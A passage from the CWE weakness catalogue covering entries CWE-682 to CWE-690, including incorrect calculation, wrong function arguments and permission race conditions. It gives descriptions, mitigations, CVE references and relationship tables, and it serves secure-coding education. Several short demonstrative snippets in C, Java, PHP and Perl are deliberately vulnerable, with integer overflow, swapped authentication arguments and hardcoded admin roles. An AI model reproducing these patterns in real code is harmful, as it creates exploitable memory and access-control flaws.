CVE-2021-43537	Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cause heap memory corruption (CWE-122) https://www.cve.org/CVERecord?id=CVE-2021-43537
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) https://www.cve.org/CVERecord?id=CVE-2007-4268
CVE-2007-4988	Chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow. https://www.cve.org/CVERecord?id=CVE-2007-4988
CVE-2009-0231	Integer truncation of length value leads to heap-based buffer overflow. https://www.cve.org/CVERecord?id=CVE-2009-0231
CVE-2008-3282	Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated. https://www.cve.org/CVERecord?id=CVE-2008-3282

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2363
MemberOf		739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	734	2364
MemberOf		808	2010 Top 25 - Weaknesses On the Cusp	800	2376

Nature	Type	ID	Name	V	Page
MemberOf	C	848	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)	844	2384
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2393
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2395
MemberOf	C	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	2396
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2463
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	2466
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2477
MemberOf	C	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)	1154	2478
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2504
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FLP34-C	CWE More Abstract	Ensure that floating point conversions are within range of the new type
CERT C Secure Coding	INT15-C		Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types
CERT C Secure Coding	INT31-C	CWE More Abstract	Ensure that integer conversions do not result in lost or misinterpreted data
CERT C Secure Coding	INT35-C		Evaluate integer expressions in a larger size before comparing or assigning to that size
The CERT Oracle Secure Coding Standard for Java (2011)	NUM12-J		Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data
Software Fault Patterns	SFP1		Glitch in computation
OMG ASCSM	ASCSM-CWE-681		

References

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

CWE-682: Incorrect Calculation

Weakness ID : 682
Structure : Simple
Abstraction : Pillar

Description

The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.
















Extended Description

When product performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.






Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.



Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf		1000	Research Concepts	2596
ParentOf		128	Wrap-around Error	345
ParentOf		131	Incorrect Calculation of Buffer Size	361
ParentOf		135	Incorrect Calculation of Multi-Byte String Length	377
ParentOf		190	Integer Overflow or Wraparound	478
ParentOf		191	Integer Underflow (Wrap or Wraparound)	487
ParentOf		193	Off-by-one Error	493
ParentOf		369	Divide By Zero	920
ParentOf		468	Incorrect Pointer Scaling	1121
ParentOf		469	Use of Pointer Subtraction to Determine Size	1123
ParentOf		1335	Incorrect Bitwise Shift of Integer	2247
ParentOf		1339	Insufficient Precision or Accuracy of a Real Number	2254
CanFollow		681	Incorrect Conversion between Numeric Types	1504
CanFollow		839	Numeric Range Comparison Without Minimum Check	1776
CanPrecede		170	Improper Null Termination	434



Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf		131	Incorrect Calculation of Buffer Size	361
ParentOf		190	Integer Overflow or Wraparound	478
ParentOf		191	Integer Underflow (Wrap or Wraparound)	487
ParentOf		193	Off-by-one Error	493
ParentOf		369	Divide By Zero	920

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf		131	Incorrect Calculation of Buffer Size	361
ParentOf		369	Divide By Zero	920

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ParentOf		131	Incorrect Calculation of Buffer Size	361
ParentOf		369	Divide By Zero	920

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Not Technology-Specific (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart <i>If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.</i>	
Integrity Confidentiality Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (Other) Execute Unauthorized Code or Commands <i>If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).</i>	
Access Control	Gain Privileges or Assume Identity <i>In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.</i>	
Access Control	Bypass Protection Mechanism <i>If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.</i>	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

Effectiveness = High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Potential Mitigations

Phase: Implementation

Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.

Phase: Implementation

Strategy = Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Phase: Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.

Phase: Architecture and Design

Strategy = Language Selection

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

Phase: Implementation

Strategy = Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Demonstrative Examples

Example 1:

The following image processing code allocates a table for images.

Example Language: C

(Bad)

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in

a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2:

This code attempts to calculate a football team's average number of yards gained per touchdown.

Example Language: Java

(Bad)

```
...
int touchdowns = team.getTouchdowns();
int yardsGained = team.getTotalYardage();
System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown scored");
...
```

The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.

Example 3:

This example attempts to calculate the position of the second byte of a pointer.

Example Language: C

(Bad)

```
int *p = x;
char * second_char = (char *) (p + 1);
```






In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

Observed Examples

Reference	Description
CVE-2020-0022	chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787) https://www.cve.org/CVERecord?id=CVE-2020-0022
CVE-2004-1363	substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed https://www.cve.org/CVERecord?id=CVE-2004-1363

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2363
MemberOf		739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	734	2364
MemberOf		752	2009 Top 25 - Risky Resource Management	750	2374
MemberOf		872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2395
MemberOf		873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	2396

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	2428
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	2466
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2477
MemberOf	C	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)	1154	2478
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2504
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	C	1408	Comprehensive Categorization: Incorrect Calculation	1400	2555

Notes

Research Gap

Weaknesses related to this Pillar appear to be under-studied, especially with respect to classification schemes. Input from academic and other communities could help identify and resolve gaps or organizational difficulties within CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FLP32-C	CWE More Abstract	Prevent or detect domain and range errors in math functions
CERT C Secure Coding	INT07-C		Use only explicitly signed or unsigned char type for numeric values
CERT C Secure Coding	INT13-C		Use bitwise operators only on unsigned operands
CERT C Secure Coding	INT33-C	CWE More Abstract	Ensure that division and remainder operations do not result in divide-by-zero errors
CERT C Secure Coding	INT34-C	CWE More Abstract	Do not shift an expression by a negative number of bits or by greater than or equal to the number of bits that exist in the operand

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
128	Integer Attacks
129	Pointer Manipulation

References

[REF-106]David LeBlanc and Niels Dekker. "SafeInt". < <http://safeint.codeplex.com/> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-683: Function Call With Incorrect Order of Arguments

Weakness ID : 683

Structure : Simple**Abstraction** : Variant

Description

The product calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.


Extended Description

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		628	Function Call with Incorrectly Specified Arguments	1407

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Use the function, procedure, or routine as specified.

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

Demonstrative Examples

Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

Example Language: PHP

(Bad)

```
function authenticate($username, $password) {
    // authenticate user
    ...
}
authenticate($_POST['password'], $_POST['username']);
```

Observed Examples

Reference	Description
CVE-2006-7049	Application calls functions with arguments in the wrong order, allowing attacker to bypass intended access restrictions. https://www.cve.org/CVERecord?id=CVE-2006-7049

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf		1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

CWE-684: Incorrect Provision of Specified Functionality

Weakness ID : 684

Structure : Simple

Abstraction : Class

Description

The code does not function according to its published specifications, potentially leading to incorrect usage.









Extended Description

When providing functionality to an external party, it is important that the product behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		710	Improper Adherence to Coding Standards	1558
ParentOf		392	Missing Report of Error Condition	958
ParentOf		393	Return of Wrong Status Code	960
ParentOf		440	Expected Behavior Violation	1069
ParentOf		446	UI Discrepancy for Security Feature	1081
ParentOf		451	User Interface (UI) Misrepresentation of Critical Information	1087
ParentOf		912	Hidden Functionality	1812
ParentOf		1245	Improper Finite State Machines (FSMs) in Hardware Logic	2052

Weakness Ordinalities

Indirect :

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Ensure that your code strictly conforms to specifications.

Demonstrative Examples

Example 1:

In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

Example Language: Java (Bad)

```
try {
    // Something that may throw an exception.
    ...
} catch (Throwable t) {
    logger.error("Caught: " + t.toString());
    return;
}
```

Example 2:

In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

Example Language: Java (Bad)

```
try {
    // something that might throw IOException
    ...
} catch (IOException ioe) {
    response.sendError(SC_NOT_FOUND);
}
```

Observed Examples

Reference	Description
CVE-2002-1446	Error checking routine in PKCS#11 library returns "OK" status even when invalid signature is detected, allowing spoofed messages. https://www.cve.org/CVERecord?id=CVE-2002-1446
CVE-2001-1559	Chain: System call returns wrong value (CWE-393), leading to a resultant NULL dereference (CWE-476). https://www.cve.org/CVERecord?id=CVE-2001-1559
CVE-2003-0187	Program uses large timeouts on unconfirmed connections resulting from inconsistency in linked lists implementations. https://www.cve.org/CVERecord?id=CVE-2003-0187
CVE-1999-1446	UI inconsistency; visited URLs list not cleared when "Clear History" option is selected. https://www.cve.org/CVERecord?id=CVE-1999-1446

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	735	CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE)	734	2361
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441

Nature	Type	ID	Name	V	Page
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	PRE09-C		Do not replace secure functions with less secure functions

CWE-685: Function Call With Incorrect Number of Arguments

Weakness ID : 685

Structure : Simple

Abstraction : Variant

Description

The product calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	E	628	Function Call with Incorrectly Specified Arguments	1407

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : Perl (Prevalence = Undetermined)

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Other

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in languages or environments that do not require that functions always be called with the correct number of arguments, such as Perl.

Potential Mitigations

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2476
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2480
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	EXP37-C	CWE More Specific	Call functions with the correct number and type of arguments
CERT C Secure Coding	FIO47-C	Imprecise	Use valid format strings

CWE-686: Function Call With Incorrect Argument Type

Weakness ID : 686

Structure : Simple

Abstraction : Variant

Description

The product calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.

Extended Description

This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	E	628	Function Call with Incorrectly Specified Arguments	1407

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	












Potential Mitigations

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		736	CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)	734	2362
MemberOf		739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	734	2364
MemberOf		741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2366
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2368
MemberOf		748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2372
MemberOf		873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	2396
MemberOf		875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2397
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf		1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2476
MemberOf		1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2480
MemberOf		1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP37-C	CWE More Specific	Call functions with the correct number and type of arguments
CERT C Secure Coding	FIO47-C	Imprecise	Use valid format strings
CERT C Secure Coding	POS34-C		Do not call putenv() with a pointer to an automatic variable as the argument
CERT C Secure Coding	STR37-C		Arguments to character handling functions must be representable as an unsigned char
Software Fault Patterns	SFP1		Glitch in computation

CWE-687: Function Call With Incorrectly Specified Argument Value

Weakness ID : 687

Structure : Simple

Abstraction : Variant



Description

The product calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		628	Function Call with Incorrectly Specified Arguments	1407
ParentOf		560	Use of umask() with chmod-style Argument	1282

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Manual Static Analysis

This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Demonstrative Examples

Example 1:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

Example Language: Perl






(Bad)

```
sub ReportAuth {
    my ($username, $result, $fatal) = @_ ;
    PrintLog("auth: username=%s, result=%d", $username, $result);
    if (($result ne "success") && $fatal) {
        die "Failed!\n";
    }
}

sub PrivilegedFunc
{
    my $result = CheckAuth($username);
    ReportAuth($username, $result, 0);
    DoReallyImportantStuff();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2367
MemberOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2398
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf		1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Notes

Relationship

When primary, this weakness is most likely to occur in rarely-tested code, since the wrong value can change the semantic meaning of the program's execution and lead to obviously-incorrect behavior. It can also be resultant from issues in which the program assigns the wrong value to a variable, and that variable is later used in a function call. In that sense, this issue could be argued as having chaining relationships with many implementation errors in CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM04-C		Do not perform zero length allocations
Software Fault Patterns	SFP24		Tainted input to command

CWE-688: Function Call With Incorrect Variable or Reference as Argument

Weakness ID : 688**Structure** : Simple**Abstraction** : Variant


Description

The product calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		628	Function Call with Incorrectly Specified Arguments	1407

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C (Prevalence = Undetermined)**Language** : Perl (Prevalence = Undetermined)

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Other

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in loosely typed languages or environments. This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Potential Mitigations

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

Demonstrative Examples

Example 1:

In the following Java snippet, the `accessGranted()` method is accidentally called with the static `ADMIN_ROLES` array rather than the user roles.

Example Language: Java

(Bad)



```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
    String[] userRoles = getUserRoles(user);
    return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
    // grant or deny access based on user roles
    ...
}
```

Observed Examples

Reference	Description
CVE-2005-2548	Kernel code specifies the wrong variable in first argument, leading to resultant NULL pointer dereference. https://www.cve.org/CVERecord?id=CVE-2005-2548

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf		1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

CWE-689: Permission Race Condition During Resource Copy

Weakness ID : 689


Structure : Composite

Abstraction : Compound

Description

The product, while copying or cloning a resource, does not set the resource's permissions or access control until the copy is complete, leaving the resource exposed to other spheres while the copy is taking place.

Composite Components

Nature	Type	ID	Name	Page
Requires		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	895

Nature	Type	ID	Name	Page
Requires		732	Incorrect Permission Assignment for Critical Resource	1559

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		362	Concurrent Execution using Shared Resource with Improper Synchronization ("Race Condition")	895

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : Perl (Prevalence = Undetermined)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

Observed Examples

Reference	Description
CVE-2002-0760	Archive extractor decompresses files with world-readable permissions, then later sets permissions to what the archive specified. https://www.cve.org/CVERecord?id=CVE-2002-0760
CVE-2005-2174	Product inserts a new object into database before setting the object's permissions, introducing a race condition. https://www.cve.org/CVERecord?id=CVE-2005-2174
CVE-2006-5214	Error file has weak permissions before a chmod is performed. https://www.cve.org/CVERecord?id=CVE-2006-5214
CVE-2005-2475	Archive permissions issue using hard link. https://www.cve.org/CVERecord?id=CVE-2005-2475
CVE-2003-0265	Database product creates files world-writable before initializing the setuid bits, leading to modification of executables. https://www.cve.org/CVERecord?id=CVE-2003-0265

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1401	Comprehensive Categorization: Concurrency	1400	2547

Notes

Research Gap

Under-studied. It seems likely that this weakness could occur in any situation in which a complex or large copy operation occurs, when the resource can be made available to other spheres as soon as it is created, but before its initialization is complete.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
27	Leveraging Race Conditions via Symbolic Links

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-690: Unchecked Return Value to NULL Pointer Dereference

Weakness ID : 690



Structure : Chain

Abstraction : Compound

Description

The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference.

Chain Components

Nature	Type	ID	Name	Page
StartsWith		252	Unchecked Return Value	613
FollowedBy		476	NULL Pointer Dereference	1139

Extended Description

While unchecked return value weaknesses are not limited to returns of NULL pointers (see the examples in CWE-252), functions often return NULL to indicate an error status. When this error condition is not checked, a NULL pointer dereference can occur.

Relationships

